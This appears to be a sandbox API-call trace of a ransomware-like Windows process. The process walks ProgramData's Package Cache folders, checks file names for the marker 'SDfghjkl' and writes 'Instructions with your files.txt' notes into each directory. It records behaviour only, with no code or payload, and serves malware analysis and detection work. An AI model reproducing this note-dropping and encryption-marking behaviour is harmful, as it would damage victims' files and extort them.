[0127.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0127.326] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0127.326] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0127.327] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0127.327] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0127.327] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0127.327] CloseHandle (hObject=0x10c) returned 1
[0127.327] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0127.327] GetProcessHeap () returned 0x810000
[0127.327] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0127.327] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1
[0127.327] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 82
[0127.327] GetProcessHeap () returned 0x810000
[0127.327] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0127.327] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned 84
[0127.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0127.327] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\.") returned 84
[0127.328] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.328] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\..") returned 85
[0127.328] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0127.328] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned 91
[0127.328] GetProcessHeap () returned 0x810000
[0127.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0127.328] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned 93
[0127.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0127.328] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\.") returned 93
[0127.328] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.328] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\..") returned 94
[0127.328] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
[0127.328] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned 115
[0127.328] GetProcessHeap () returned 0x810000
[0127.328] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0127.328] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned 117
[0127.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0127.348] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\.") returned 117
[0127.348] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.348] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\..") returned 118
[0127.348] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0127.348] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124
[0127.348] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0127.348] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0127.348] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 144
[0127.348] StrStrIW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch="SDfghjkl") returned 0x0
[0127.348] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0127.348] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt") returned 148
[0127.348] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0127.552] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0127.599] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0127.608] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0127.628] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0127.636] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0127.646] CloseHandle (hObject=0x114) returned 1
[0127.672] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0127.677] GetProcessHeap () returned 0x810000
[0127.678] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0127.680] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
[0127.684] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Instructions with your files.txt") returned 124
[0127.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0127.693] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0127.716] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0127.716] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0127.716] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0127.716] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0127.716] CloseHandle (hObject=0x110) returned 1
[0127.789] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0127.791] GetProcessHeap () returned 0x810000
[0127.791] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0127.791] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0127.791] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Instructions with your files.txt") returned 115
[0127.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0127.797] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0127.803] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0127.803] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0127.812] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0127.813] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0127.818] CloseHandle (hObject=0x10c) returned 1
[0128.199] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0128.201] GetProcessHeap () returned 0x810000
[0128.201] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0128.201] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0
[0128.202] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\Instructions with your files.txt") returned 65
[0128.204] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0128.207] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0128.208] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0128.216] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0128.216] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0128.216] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0128.216] CloseHandle (hObject=0x108) returned 1
[0128.216] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0128.216] GetProcessHeap () returned 0x810000
[0128.216] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0128.216] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
[0128.216] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Start Menu") returned 29
[0128.216] GetProcessHeap () returned 0x810000
[0128.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be0
[0128.216] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Start Menu\\*") returned 31
[0128.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Start Menu\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0128.217] GetProcessHeap () returned 0x810000
[0128.217] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be0 | out: hHeap=0x810000) returned 1
